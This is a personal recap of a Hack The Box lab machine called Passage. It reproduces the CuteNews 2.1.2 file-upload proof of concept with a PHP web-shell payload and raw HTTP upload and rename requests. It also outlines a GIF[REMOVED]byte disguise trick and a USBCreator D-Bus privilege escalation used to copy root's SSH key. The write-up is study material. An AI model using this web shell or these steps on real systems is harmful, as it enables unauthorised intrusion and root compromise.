HTB post-game recap -- Passage
Passage was a cool box overall. The hardest part for me was privesc. I had to get a lead from a buddy to show me what I was looking for. He said something along the lines of "ride the bus." The rest was a ton of Googling anything I found on the machine with the string "bus" in it.
It's okay to do a box, and then do a writeup, but I feel like there may be more value in it for myself if I actually recap why things worked.
Foothold
First, let's look at the initial foothold, which has a POC here:
# Exploit Title: CuteNews 2.1.2 - Authenticated Arbitrary File Upload
# Date: 2020-05-12
# Author: Vigov5 - SunCSR Team
# Vendor Homepage: https://cutephp.com
# Software Link: https://cutephp.com/click.php?cutenews_latest
# Version: v2.1.2
# Tested on: Ubuntu 18.04 / Kali Linux
Description:
------------------------------------------------------------------------
In the "Media Manager" area, Users with low privileges (Editor) can bypass
file upload restrictions, resulting in arbitrary command execution.
[PoC]
--------------------------------------------------------------------------------
# Step 1. Create shell $ exiftool -Comment='<?php echo "<pre>";
system($_GET['cmd']); ?>' shell.png;
# Step 2. Upload Shell (# Minimum editor privileges)
POST /CuteNews/index.php HTTP/1.1
Host: [target]
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101
Firefox/76.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary=---------------------------15868731501112834542363527723
Content-Length: 3775
Origin: [target]
DNT: 1
Connection: close
Referer: [target]/CuteNews/index.php
Cookie: CUTENEWS_SESSION=k4rgekaj68tr9ln8j0jlme7e7h
Upgrade-Insecure-Requests: 1
-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="mod"
media
-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="opt"
media
-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="folder"
-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="CKEditorFuncNum"
-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="callback"
-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="style"
-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="faddm"
-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="imgopts"
-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="__signature_key"
7ffa4c94a150c20f0c1b51036f6e4597-editor
-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="__signature_dsi"
48d87ded04d15407f258c57efa3216e8
-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="upload_from_inet"
-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="upload_file[]"; filename="shell.png"
Content-Type: image/png
[Content Image Here ! ]
-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="upload"
Upload file(s)
-----------------------------15868731501112834542363527723--
# Step 3. Change filename shell.jpg to shell.php
POST /CuteNews/index.php HTTP/1.1
Host: [target]
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101
Firefox/76.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 241
Origin: [target]
DNT: 1
Connection: close
Referer: http://[target]CuteNews/index.php
Cookie: CUTENEWS_SESSION=k4rgekaj68tr9ln8j0jlme7e7h
Upgrade-Insecure-Requests: 1
mod=media&opt=media&folder=&CKEditorFuncNum=&callback=&style=&faddm=&imgopts=&__signature_key=ebdaf403dcda492fabe8f1d96399b16b-editor&__signature_dsi=27a9035f2b130dd1477ad2a37a5721da&pending=rename&ids%5B0%5D=shell.png&place%5B0%5D=shell.php
# Step 4. Execute the command with the path : http://
[target]/CuteNews/uploads/shell.php?cmd=id
First, we create a shell:
exiftool -Comment='<?php echo "<pre>";
system($_GET['cmd']); ?>' shell.png;
It's a php shell called shell.png (png is an image file extension).
I didn't use that shell. I just copied over phpbash.php and renamed it.
Next, we upload a shell. It shows a POST request. We can do that with Burp, or we can do it manually. I did it manually. We can see the post request below (from the POC):
POST /CuteNews/index.php HTTP/1.1
Host: [target]
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101
Firefox/76.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary=---------------------------15868731501112834542363527723
Content-Length: 3775
Origin: [target]
DNT: 1
Connection: close
Referer: [target]/CuteNews/index.php
Cookie: CUTENEWS_SESSION=k4rgekaj68tr9ln8j0jlme7e7h
Upgrade-Insecure-Requests: 1
-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="mod"
media
-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="opt"
media
-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="folder"
-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="CKEditorFuncNum"
-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="callback"
-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="style"
-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="faddm"
-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="imgopts"
-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="__signature_key"
7ffa4c94a150c20f0c1b51036f6e4597-editor
-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="__signature_dsi"
48d87ded04d15407f258c57efa3216e8
-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="upload_from_inet"
-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="upload_file[]"; filename="shell.png"
Content-Type: image/png
[Content Image Here ! ]
-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="upload"
Upload file(s)
-----------------------------15868731501112834542363527723--
Then the next part:
# Step 3. Change filename shell.jpg to shell.php
POST /CuteNews/index.php HTTP/1.1
Host: [target]
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101
Firefox/76.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 241
Origin: [target]
DNT: 1
Connection: close
Referer: http://[target]CuteNews/index.php
Cookie: CUTENEWS_SESSION=k4rgekaj68tr9ln8j0jlme7e7h
Upgrade-Insecure-Requests: 1
mod=media&opt=media&folder=&CKEditorFuncNum=&callback=&style=&faddm=&imgopts=&__signature_key=ebdaf403dcda492fabe8f1d96399b16b-editor&__signature_dsi=27a9035f2b130dd1477ad2a37a5721da&pending=rename&ids%5B0%5D=shell.png&place%5B0%5D=shell.php
Hmm ... actually, I didn't do any of that crap.
I just grabbed my php code and added the magic bytes to the top of the file to disguise it as a gif:
GIF8;
<php starts here>
From there, I tried to view my image. It's uploaded in the following format:
http://10.10.10.206/CuteNews/uploads/avatar_<user>_phpbash.php
Where <user> is the name of the user who uploaded the image.
That gives us a basic shell, and we are able to set up a reverse shell to call back to our listener.
The next steps were just getting to user. That was two steps (no detail needed here, since that was on my writeup) but it consisted of:
- Copy a base64-encoded hash from some user login attempts.
- Crack the hash. Switch to user whose password we cracked.
- That user has an SSH key belonging to a higher-priv user.
- Copy that key and SSH into the machine.
Exploiting dbus
Honestly, this part was a bit tricky. It's not one of those standard methods you'd usually go for. It required quite a bit of looking around and a hint. Even after that, it was a bit of guesswork, because I didn't know if I was looking at the right thing initially. Once I was able to confirm a file copy, I was set.
Anyway, let's look at that now.
This post details it: https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/
According to the post, the vulnerability is in USBCreator D-Bus. It allows a user to overwrite files as root without the need for a password. Initially, I tried some things like overwriting the shadow file and editing passwd with a new root user, because I read this section of the writeup:
This trivially leads to elevated privileges, for instance, by overwriting the shadow file and setting a password for root. The issue was resolved in June when Ubuntu patched the relevant packages in response to a vulnerability disclosure from Unit 42.
The post points to a vulnerable service called com.ubuntu.USBCreator. The author, Nadav Markus, mentions that while researching, he "looked for privileged services that act on behalf of an unprivileged user, requiring no authentication, and of course having user-controlled input that affects these operations."
So the four things he needed where:
- Privileged service
- Acts on behalf of an unprivileged user
- Does not require authentication
- User-controlled input that will affect the operations
He adds, "without proper sanitation and validation on user input" it's possible that an attacker can compromise the system.
USB creator helper, happens to be running as root on this machine.
The researcher points out a section in the source code, (it's Python) and there's a line in there that shows com.ubuntu.usbcreator.image runs "self.check_polkit" (polkit). Polkit was formerly "PolicyKit."
According to Wikipedia:
It provides an organized way for non-privileged processes to communicate with privileged ones.
Further reading says:
It is also possible to use polkit to execute commands with elevated privileges using the command pkexec followed by the command intended to be executed (with root permission).[7] However, it may be preferable to use sudo, as this command provides more flexibility and security, in addition to being easier to configure.
Basically, according to the researcher, this means that the script queries polkit to see whether the user running the request is authorized.
The researcher points to some config files that shows which groups are allowed to access com.ubuntu.usbcreator.image. In the example shown in his blog post, we can see the admin and sudo groups.
The researcher points out a Python implementation of the "dd" tool, which is used to copy files or disks bit for bit. It's simple, but pretty legit. I've used it in the past to clone disk images.
Anyway, using gdbus to interact with the usb creator, the researcher was able to directly send input to the dd tool. There was no path sanitization, and this leads to the ability to write or copy files as root. In the example we used on this box, we copied root's private key to a folder of our choosing.
Read the full writeup here.